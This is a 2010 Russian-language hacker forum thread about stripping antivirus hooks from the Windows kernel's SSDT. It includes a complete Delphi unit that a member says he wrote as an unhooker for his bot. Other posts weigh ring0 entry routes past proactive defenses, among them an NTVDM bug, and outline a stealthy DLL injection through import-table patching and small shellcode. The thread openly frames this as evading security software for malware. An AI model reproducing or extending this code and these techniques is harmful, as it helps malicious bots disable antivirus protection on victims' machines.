Рестврация ядра от хуков AV.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by krenki, 2 Feb 2010.

  1. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Покажите в какую сторону рыть.
    Туторы, статьи, примеры, ключевые слова для поиска.... и ссылок да побоьше)
     
  2. Hiro Protagonist

    Joined:
    26 Aug 2009
    Messages:
    132
    Likes Received:
    24
    Reputations:
    -2
    А в чем там проблема?
    SDT переписать с использованием ntoskrnl.exe (смотря какая версия ядра загружена) и всё. Экспортируется. По технике хотпатча sdt читай Хугланда или ms-rem`а на васме, там у него третья часть про перехваты именно перехватам через sdt посвещена.
     
  3. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Понятно, спасибо. Только wasm у меня почему то недоступен.
     
  4. LMaster

    LMaster Member

    Joined:
    15 Jun 2008
    Messages:
    14
    Likes Received:
    8
    Reputations:
    0
    Он у всех недоступен. Кстати, не знаете, почему?
     
  5. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Maybe DoS, а лучше по теме. Примеры на Restore SDT может у кого завалялись на харде...
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Вот тока смысл тебе этого? Исходники SDT restore можно и так в инете найти.
    Но вот другая проблема. Хуки ставятся в ядре в SSDT и чтобы их снять от туда тебе понадобится попасть в ядро или в ring0 хотябы.
    А чтобы туда попасть - придется обходить всё те же проактивки.
    Так что есть тока 4 метода:
    1) драйвер - спалят быстро
    2) старый способ через физпамять - палится и очень древний
    3) бага в NTVDM которая недавно открылась но и то спалится быстро
    4) другие баги )

    Пару лет назад пробовал еще на делфи писать для бота анхукет.
    Код ужасный и кривой, но понятный более менее. И даже когдато работал.

    Code:
    unit bot_SDT;
    interface
    uses bot_types,bot_api;
    function GetSDTFunc(i:integer):dword;
    procedure CLOSE_SDT;
    function OPEN_SDT:boolean;
    var
    SDT_prepare:boolean=false;
    implementation
    
    
    const
    STATUS_INFO_LENGTH_MISMATCH=dword($C0000004);
    SystemModuleInformation=11;
    IMAGE_NT_OPTIONAL_HDR32_MAGIC=$10b;
    type
    IMAGE_FIXUP_ENTRY=packed record
    offset_type:word;
    end;
    PIMAGE_FIXUP_ENTRY=^IMAGE_FIXUP_ENTRY;
    IMAGE_BASE_RELOCATION=packed record
     VirtualAddress:dword;
     SizeOfBlock:dword;
    end;
    PIMAGE_BASE_RELOCATION=^IMAGE_BASE_RELOCATION;
    
    var
    pService:dword;
    poha:PIMAGEOPTIONALHEADER;
    dwKernelBase:dword;
    hKernel:dword;
    
    function GetHeaders(ibase:pointer; var pfh:PIMAGEFILEHEADER; var poh:PIMAGEOPTIONALHEADER; var psh:PIMAGESECTIONHEADER):boolean;
    var
     mzhead:PIMAGEDOSHEADER;
     pehead:PIMAGEOPTIONALHEADER;
    begin
     result:=false;
     mzhead:=ibase;
     pehead:=pointer(mzhead^._lfanew+dword(ibase));
     if (mzhead^.e_magic<>IMAGE_DOS_SIGNATURE) or (pehead^.Magic<>IMAGE_NT_SIGNATURE) then exit;
     pfh:=pointer(pehead);
     pfh:=pointer(dword(pfh)+4);
     poh:=pointer(dword(pfh)+sizeof(_IMAGE_FILE_HEADER));
     if poh^.Magic<>IMAGE_NT_OPTIONAL_HDR32_MAGIC then exit;
     psh:=pointer(dword(poh)+sizeof(_IMAGE_OPTIONAL_HEADER));
     result:=true;
    end;
    
    function RVATOVA(base,offset:dword):pointer;
    begin
     result:=pointer(base+offset);
    end;
    
    function FindKiServiceTable(hModule:pointer;dwKSDT:dword):dword;
    var
     pfh:PIMAGEFILEHEADER;
     poh:PIMAGEOPTIONALHEADER;
     psh:PIMAGESECTIONHEADER;
     pbr:PIMAGE_BASE_RELOCATION;
     pfe:PIMAGE_FIXUP_ENTRY;
     dwFixups,i,dwPointerRva,dwPointsToRva,dwKiServiceTable:dword;
     bFirstChunk:boolean;
     p:pointer;
     w:word;
    begin
     result:=0;
     dwFixups:=0;
     GetHeaders(hModule,pfh,poh,psh);
     if (poh^.DataDirectory[5].VirtualAddress<>0) and (pfh^.Characteristics mod 2=0) then
      begin
       pbr:=RVATOVA(poh^.DataDirectory[5].VirtualAddress,dword(hModule));
        bFirstChunk:=true;
        while (bFirstChunk=true) or (pbr^.VirtualAddress<>0) do
         begin
          bFirstChunk:=false;
          pfe:=pointer(dword(pbr)+sizeof(IMAGE_BASE_RELOCATION));
          for i:=0 to ((pbr^.SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))shr 1)-1 do
           begin
            if (pfe^.offset_type shr 12=3) then
             begin
              inc(dwFixups);
              w:=pfe^.offset_type;
              w:=w shl 4;
              w:=w shr 4;
              dwPointerRva:=pbr^.VirtualAddress+w;
              p:=pointer(dword(hModule)+dwPointerRva);
              dwPointsToRva:=DWORD(p^)-poh^.ImageBase;
              if (dwPointsToRva=dwKSDT) then
               begin
                p:=pointer(DWORD(hModule)+dwPointerRva-2);
                if word(p^)=$05c7 then
                 begin
                  p:=pointer(DWORD(hModule)+dwPointerRva+4);
                  dwKiServiceTable:=dword(p^)-poh^.ImageBase;
                  result:=dwKiServiceTable;
                  exit;
                 end;
               end;
            end;
    //        else
    //        if (pfe^.offset_type shr 12<>0) then
    //         begin
    //          resul:=0;
    //         end;
            inc(pfe);
           end;
          pbr:=pointer(dword(pbr)+pbr^.SizeOfBlock);
       end;
    end;
    if (dwFixups=0) then result:=0;
    end;
    
    function OPEN_SDT:boolean;
    var
     dwNeededSize,rc:dword;
     dwKSDT:dword;
     dwKiServiceTable:dword;
     pModules:PSYSTEM_MODULE_INFORMATION_EX;
     pKernelName:pchar;
     pfh:PIMAGEFILEHEADER;
     psh:PIMAGESECTIONHEADER;
    label strange;
    begin
     result:=false;
     SDT_prepare:=false;
     rc:=_ZwQuerySystemInformation(SystemModuleInformation,@pModules,4,@dwNeededSize);
     if rc=STATUS_INFO_LENGTH_MISMATCH then
      begin
       pModules:=pointer(_GlobalAlloc(64,dwNeededSize));
       rc:=_ZwQuerySystemInformation(SystemModuleInformation,pointer(pModules),dwNeededSize,nil);
      end
      else
      begin
       strange:
        exit;
      end;
      if (rc<>0)then goto strange;
      dwKernelBase:=dword(pmodules^.Modules[0].Base);
      pKernelName:=pModules^.Modules[0].ModuleNameOffset+pModules^.Modules[0].ImageName;
      hKernel:=_LoadLibraryEx(pKernelName,0,1);
      if hKernel=0 then exit;
      _GlobalFree(dword(pModules));
      dwKSDT:=dword(GetProcAddress(hKernel,'KeServiceDescriptorTable'));
      if dwKSDT=0 then exit;
      dwKSDT:=dwKSDT-hKernel;
      dwKiServiceTable:=FindKiServiceTable(Pointer(hKernel),dwKSDT);
      if dwKiServiceTable=0 then exit;
      GetHeaders(pointer(hKernel),pfh,poha,psh);
      pService:=hKernel+dwKiServiceTable;
      SDT_prepare:=true;
      result:=true;
    end;
    
    function GetSDTFunc(i:integer):dword;
    begin
    if OPEN_SDT=false then exit;
    if SDT_prepare then result:=dword(pointer(pService+4*i)^)-poha^.ImageBase+dwKernelBase else result:=0;
    end;
    
    procedure CLOSE_SDT;
    begin
      if SDT_prepare then
       begin
        SDT_prepare:=false;
        _FreeLibrary(hKernel);
       end;
    end;
    
    begin
    
    end.
    
    
     
  7. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Хех, а разве есть выбор, если на WriteProcessMemory ругается? Другого способа пока не знаю. Эти которые "другие баги" дебагом нашёл?
    Для VDM действительно хороший сплойт, и эту багу похоже искал весь Google =) (в смысле сотрудники.)
     
  8. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    2 slesh
    Кстати, спасибо за познавательную статью "Inject DLL в Explorer из kernel-mode". Очень понравилась. Щас сижу и этот весь садо мазо текст всасываю...
     
  9. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 krenki если палят WriteProcessMemory то скорее всего и другие будут палить. Если конечно проактивка не заточена чисто на инжекты.
    P.S. бага в VDM к гуглю не имеет отношения. Судя по описанию автора, то чел который обнаружил её, еще пол года назад (или год назад), отослал описание в MS но они не отреагировали.

    P.S.2. Inject DLL в Explorer из kernel-mode - это мего изврат. Просто эксперименты )
    А вообще на реале юзаю другой способ который дает почти 100% результат. Тем более что пашет от win 2000 до win 7 включительно и без каких либо изменений. Да и кода на порядок меньше. И не надо почти ждать попадания в контекст процесса. Исходники не стал выкладывать, потому как пока что приват )

    Скажу что там юзается правка юзермодного адресного пространства нужного тебе процесса, а именно таблицы импорта. И перебивал адрес самой используемой функции на адрес своего микро-шелкода (байт 30) а далее выполняется код DLL которая сразу из памяти была вручную загружена. На сишке дров который это делал весит 3 кил после компила. Так что алгоритм мего простой. У кого достаточно знаний, те в лёгкую смогут сами написать.